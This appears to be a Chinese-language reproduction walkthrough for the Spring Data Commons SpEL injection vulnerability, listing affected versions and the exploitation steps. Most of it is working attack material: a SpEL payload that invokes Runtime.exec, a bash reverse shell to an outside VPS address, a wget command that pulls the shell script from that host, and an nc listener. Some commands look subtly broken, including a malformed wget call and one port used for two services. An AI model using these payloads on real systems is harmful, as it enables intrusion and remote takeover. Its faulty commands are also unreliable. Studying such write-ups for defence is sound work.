一、漏洞概述
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
二、影响范围
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5 (Kay SR5)
三、访问页面
四、漏洞复现
1、看到访问页面,一般都会进行目录扫描,获得了一个usres目录
2、注册账号,任意填写使用burp抓包。
3、构造payload
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令执行")]=&password=&repeatedPassword=
4、在自己的vps服务器创一个shell.sh文件,内容为反弹连接
bash -i >& /dev/tcp/91.208.73.100/7777 0>&1
5、打开vps服务器临时web服务器,这样就可以通过91.208.73.100:7777/shell.sh访问到我们制作好的文件。
python3 -m http.server 7777
6、使用burp发送数据包,在被攻击的服务器上下载我们的shell。
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget /tmp http://91.208.73.100:7777/shell.sh")]=&password=&repeatedPassword=
vps服务器上有回包说明下载成功了。
7、使用burp发送数据包,在被攻击的服务器上执行下载好的shell
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /shell.sh")]=&password=&repeatedPassword=
8、此时我们要在vps服务器上监听
nc -lvp 7777